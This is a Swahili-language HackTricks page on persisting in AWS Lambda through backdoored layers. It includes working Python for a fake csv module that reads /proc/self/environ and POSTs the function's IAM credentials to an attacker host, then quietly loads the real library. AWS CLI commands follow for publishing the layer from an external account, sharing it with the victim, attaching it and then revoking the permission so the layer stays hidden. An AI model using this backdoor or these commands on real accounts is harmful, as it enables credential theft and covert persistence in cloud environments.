AWS - Lambda Layers Persistence

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Lambda Layers

Tabaka la Lambda ni faili ya .zip ambayo inaweza kuwa na msimbo wa ziada au maudhui mengine. Tabaka inaweza kuwa na maktaba, muda wa desturi, data, au faili za usanidi.

Inawezekana kuongeza hadi tabaka tano kwa kila kazi. Unapojumuisha tabaka katika kazi, maudhui yanaondolewa kwenye saraka ya /opt katika mazingira ya utekelezaji.

Kwa chaguo-msingi, tabaka unazounda ni binafsi kwa akaunti yako ya AWS. Unaweza kuchagua kushiriki tabaka na akaunti zingine au kufanya tabaka kuwa ya umma. Ikiwa kazi zako zinatumia tabaka ambayo akaunti tofauti imetoa, kazi zako zinaweza kuendelea kutumia toleo la tabaka baada ya kufutwa, au baada ya ruhusa yako ya kupata tabaka kufutwa. Walakini, huwezi kuunda kazi mpya au kusasisha kazi zinazotumia toleo lililofutwa la tabaka.

Kazi zilizosambazwa kama picha ya kontena hazitumii tabaka. Badala yake, unapakia muda wako unaopendelea, maktaba, na mahitaji mengine ndani ya picha ya kontena unapojenga picha.

Njia ya kupakia Python

Njia ya kupakia ambayo Python itatumia kwenye lambda ni ifuatayo:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Angalia jinsi nafasi ya pili na ya tatu inavyochukuliwa na saraka ambapo lambda layers hufungua faili zao: /opt/python/lib/python3.9/site-packages na /opt/python

Ikiwa mshambuliaji amefanikiwa kuweka mlango wa nyuma kwenye lambda layer iliyotumiwa au kuongeza moja ambayo itatekeleza mimba ya nambari inapopakia maktaba ya kawaida, ataweza kutekeleza nambari yenye nia mbaya kila wakati lambda inaitwa.

Kwa hivyo, mahitaji ni:

  • Angalia maktaba ambazo zime pakuliwa na nambari ya waathiriwa

  • Unda maktaba ya mbadala na lambda layers ambayo itatekeleza nambari ya desturi na pakia maktaba ya asili.

Maktaba zilizopakiwa mapema

Nikichunguza mbinu hii nilikutana na changamoto: Baadhi ya maktaba tayari zime pakuliwa katika muda wa python wakati nambari yako inatekelezwa. Nilitarajia kupata vitu kama os au sys, lakini hata maktaba ya json ilipakuliwa. Ili kutumia mbinu hii ya uthabiti, nambari inahitaji kupakia maktaba mpya ambayo haijapakiwa wakati nambari inatekelezwa.

Kwa nambari ya python kama hii, ni rahisi kupata orodha ya maktaba zilizopakiwa mapema ndani ya muda wa python kwenye lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Na hii ni orodha (angalia kwamba maktaba kama vile os au json tayari zipo)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Na hii ni orodha ya maktaba ambazo lambda inajumuisha kwa msingi: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3]

Lambda Layer Backdooring

Katika mfano huu tufikirie kuwa kanuni iliyolengwa inaingiza csv. Tutakuwa tukirudisha nyuma uingizaji wa maktaba ya csv.

Kufanya hivyo, tutakuwa tunaunda saraka ya csv na faili ya __init__.py ndani yake kwenye njia ambayo inapakiwa na lambda: /opt/python/lib/python3.9/site-packages Kisha, wakati lambda inatekelezwa na jaribu kupakia csv, faili yetu ya __init__.py itapakiwa na kutekelezwa. Faili hii lazima:

  • Tekeleza mzigo wetu

  • Pakia maktaba ya csv ya asili

Tunaweza kufanya yote haya na:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Kisha, tengeneza zip na nambari hii kwenye njia python/lib/python3.9/site-packages/__init__.py na uiweke kama safu ya lambda.

Unaweza kupata nambari hii kwenye https://github.com/carlospolop/LambdaLayerBackdoor

Payload iliyoundwa itatuma IAM creds kwa seva MARAKA YA KWANZA inaitwa au BAADA YA kurejesha kontena ya lambda (mabadiliko ya nambari au lambda baridi), lakini njia zingine kama zifuatazo zinaweza pia kuingizwa:

pageAWS - Steal Lambda Requests

Safu za Nje

Tafadhali elewa kwamba inawezekana kutumia safu za lambda kutoka kwa akaunti za nje. Zaidi ya hayo, lambda inaweza kutumia safu kutoka kwa akaunti ya nje hata kama haina idhini. Pia elewa kwamba idadi kubwa ya safu ambayo lambda inaweza kuwa nayo ni 5.

Hivyo, ili kuboresha uwezo wa mbinu hii, mshambuliaji anaweza:

  • Weka mlango wa nyuma kwenye safu iliyopo ya mtumiaji (hakuna kitu cha nje)

  • Tengeneza safu katika akaunti yake, toa akaunti ya mwathiriwa upatikanaji wa kutumia safu, sanidi safu kwenye Lambda ya mwathiriwa na ondoa idhini.

  • Lambda itaendelea kuweza kutumia safu na mwathiriwa hatakuwa na njia rahisi ya kupakua nambari za safu (isipokuwa kupata rev shell ndani ya lambda)

  • Mwathiriwa hataona safu za nje zinazotumiwa na aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated